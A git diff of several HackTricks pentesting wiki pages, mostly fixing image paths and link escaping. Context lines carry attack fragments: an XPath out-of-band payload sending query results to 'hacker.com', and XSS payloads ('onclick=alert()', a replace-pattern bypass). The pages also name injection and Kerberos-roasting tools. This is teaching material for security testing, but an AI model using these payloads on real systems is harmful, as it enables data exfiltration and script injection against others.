+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/xpath-injection.md

@@ -1,21 +1,21 @@
 # XPATH injection
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -308,17 +308,17 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
 
 * [xcat](https://xcat.readthedocs.io/)
 * [xxxpwn](https://github.com/feakk/xxxpwn)
-* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
+* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn_smart)
 * [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
 * [XmlChor](https://github.com/Harshal35/XMLCHOR)
 
 ## References
 
 * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
-* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
-* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
+* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_\(OTG-INPVAL-010\))
+* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath_syntax.asp)
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -334,15 +334,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

pentesting-web/xss-cross-site-scripting/README.md

@@ -1,6 +1,6 @@
 # XSS (Cross Site Scripting)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -163,7 +163,7 @@ Some **examples**:
 
 When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
 For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Note: A HTML comment can be closed using\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_
+&#xNAN;_**Note: A HTML comment can be closed using\*\*\*\*****&#x20;****`-->`****&#x20;****or \*\*\*\*****`--!>`**_
 
 In this case and if no black/whitelisting is used, you could use payloads like:
 
@@ -510,7 +510,7 @@ Now you can modify our link and bring it to the form
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
-This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
 ## Injecting inside JavaScript code
 
@@ -917,7 +917,7 @@ If you are able to indicate the **callback** that javascript is going to **execu
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
+The only **Content-Type**s that will support Chrome to run a **loaded script** are the ones inside the const **`kSupportedJavascriptTypes`** from [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
 
 ```c
 const char* const kSupportedJavascriptTypes[] = {
@@ -1032,7 +1032,7 @@ If the page is returnin a text/xml content-type it's possible to indicate a name
 
 ### Special Replacement Patterns
 
-When something like **`"some {{template}} data".replace("{{template}}", <user_input>)`** is used. The attacker could use [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) to try to bypass some protections: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
+When something like **`"some {{template}} data".replace("{{template}}", <user_input>)`** is used. The attacker could use [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) to try to bypass some protections: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
 
 For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
 
@@ -1151,7 +1151,7 @@ trigger()
 * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 * [http://www.jsfuck.com/](http://www.jsfuck.com)
-* More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+* More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1312,7 +1312,7 @@ for(var i=0; i<ports.length; i++) {
 
 _Short times indicate a responding port_ _Longer times indicate no response._
 
-Review the list of ports banned in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) and in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
+Review the list of ports banned in Chrome [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) and in Firefox [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
 
 ### Box to ask for credentials
 
@@ -1574,7 +1574,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
 * [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
 * [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
 
@@ -1589,7 +1589,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

reversing/reversing-tools-basic-methods/cheat-engine.md

@@ -1,15 +1,15 @@
 # Cheat Engine
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -68,7 +68,7 @@ Then, you do something so that **value changes**, and you **stop** the game and
 ![](<../../.gitbook/assets/image (684).png>)
 
 Cheat Engine will search for the **values** that **went from 100 to the new value**. Congrats, you **found** the **address** of the value you were looking for, you can now modify it.\
-_If you still have several values, do something to modify again that value, and perform another "next scan" to filter the addresses._
+&#xNAN;_&#x49;f you still have several values, do something to modify again that value, and perform another "next scan" to filter the addresses._
 
 ### Unknown Value, known change
 
@@ -174,15 +174,15 @@ So, insert your new assembly code in the "**newmem**" section and remove the ori
 * **Cheat Engine tutorial, complete it to learn how to start with Cheat Engine**
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>

todo/llm-training-data-preparation/0.-basic-llm-concepts.md

@@ -140,7 +140,7 @@ At the heart of automatic differentiation is the **chain rule** from calculus. T
 
 Mathematically, if `y=f(u)` and `u=g(x)`, then the derivative of `y` with respect to `x` is:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **2. Computational Graph**
 
@@ -150,7 +150,7 @@ In AD, computations are represented as nodes in a **computational graph**, where
 
 Let's consider a simple function:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Where:
 
@@ -162,11 +162,11 @@ We want to compute the gradient of the loss `L` with respect to the weight `w` a
 
 **4. Computing Gradients Manually**
 
-<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 **5. Numerical Calculation**
 
-<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Implementing Automatic Differentiation in PyTorch
 

todo/llm-training-data-preparation/1.-tokenizing.md

@@ -28,7 +28,7 @@ The goal of this initial phase is very simple: **Divide the input in tokens (ids
    * **Handling Unknown Words:**\
      If a word like `"Bye"` isn't in the vocabulary, it is replaced with `[UNK]`.\
      `"Bye, world!"` → `["[UNK]", ",", "world", "!"]` → `[987, 455, 78, 467]`\
-     _(Assuming `[UNK]` has ID `987`)_
+     &#xNAN;_(Assuming `[UNK]` has ID `987`)_
 
 ### **Advanced Tokenizing Methods**
 
@@ -72,7 +72,7 @@ While the basic tokenizer works well for simple texts, it has limitations, espec
 
 ## Code Example
 
-Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb):
+Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01\_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
 
 ```python
 # Download a text to pre-train the model

todo/llm-training-data-preparation/4.-attention-mechanisms.md

@@ -51,11 +51,11 @@ For each word in the sentence, compute the **attention score** with respect to "
 
 **Attention Score between "shiny" and "shiny"**
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
 **Attention Score between "sun" and "shiny"**
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
 #### Step 2: Normalize Attention Scores to Obtain Attention Weights
 
@@ -67,7 +67,7 @@ Moreover, **softmax** function is used because it accentuates differences due to
 
 Apply the **softmax function** to the attention scores to convert them into attention weights that sum to 1.
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
 
 Calculating the exponentials:
 
@@ -189,7 +189,7 @@ Like in the initial example, just sum all the values matrices multiplying each o
 
 ### Code Example
 
-Grabbing an example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) you can check this class that implements the self-attendant functionality we talked about:
+Grabbing an example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) you can check this class that implements the self-attendant functionality we talked about:
 
 ```python
 import torch
@@ -270,7 +270,7 @@ A regular dropout is about 10-20%.
 
 ### Code Example
 
-Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb):
+Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
 
 ```python
 import torch
@@ -340,7 +340,7 @@ print("context_vecs.shape:", context_vecs.shape)
 
 ### Code Example
 
-It could be possible to reuse the previous code and just add a wrapper that launches it several time, but this is a more optimised version from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) that processes all the heads at the same time (reducing the number of expensive for loops). As you can see in the code, the dimensions of each token is divided in different dimensions according to the number of heads. This way if token have 8 dimensions and we want to use 3 heads, the dimensions will be divided in 2 arrays of 4 dimensions and each head will use one of them:
+It could be possible to reuse the previous code and just add a wrapper that launches it several time, but this is a more optimised version from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) that processes all the heads at the same time (reducing the number of expensive for loops). As you can see in the code, the dimensions of each token is divided in different dimensions according to the number of heads. This way if token have 8 dimensions and we want to use 3 heads, the dimensions will be divided in 2 arrays of 4 dimensions and each head will use one of them:
 
 ```python
 class MultiHeadAttention(nn.Module):

todo/llm-training-data-preparation/5.-llm-architecture.md

@@ -8,11 +8,11 @@ The goal of this fifth phase is very simple: **Develop the architecture of the f
 This architecture will be used for both, training and predicting text after it was trained.
 {% endhint %}
 
-LLM architecture example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
+LLM architecture example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
 
 A high level representation can be observed in:
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
 
 1. **Input (Tokenized Text)**: The process begins with tokenized text, which is converted into numerical representations.
 2. **Token Embedding and Positional Embedding Layer**: The tokenized text is passed through a **token embedding** layer and a **positional embedding layer**, which captures the position of tokens in a sequence, critical for understanding word order.
@@ -221,7 +221,7 @@ class GELU(nn.Module):
 * **Smooth Activation:** Unlike ReLU, which zeroes out negative inputs, GELU smoothly maps inputs to outputs, allowing for small, non-zero values for negative inputs.
 * **Mathematical Definition:**
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="info" %}
 The goal of the use of this function after linear layers inside the FeedForward layer is to change the linear data to be none linear to allow the model to learn complex, non-linear relationships.
@@ -643,7 +643,7 @@ total_params = 163,009,536
 
 Having a model that predicts the next token like the one before, it's just needed to take the last token values from the output (as they will be the ones of the predicted token), which will be a **value per entry in the vocabulary** and then use the `softmax` function to normalize the dimensions into probabilities that sums 1 and then get the index of the of the biggest entry, which will be the index of the word inside the vocabulary.
 
-Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
+Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
 
 ```python
 def generate_text_simple(model, idx, max_new_tokens, context_size):

windows-hardening/active-directory-methodology/asreproast.md

@@ -1,21 +1,21 @@
 # ASREPRoast
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
 <summary>Support HackTricks</summary>
 
 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
 * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
@@ -121,7 +121,7 @@ ASRepCatcher listen
 
 ***
 
-<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
 
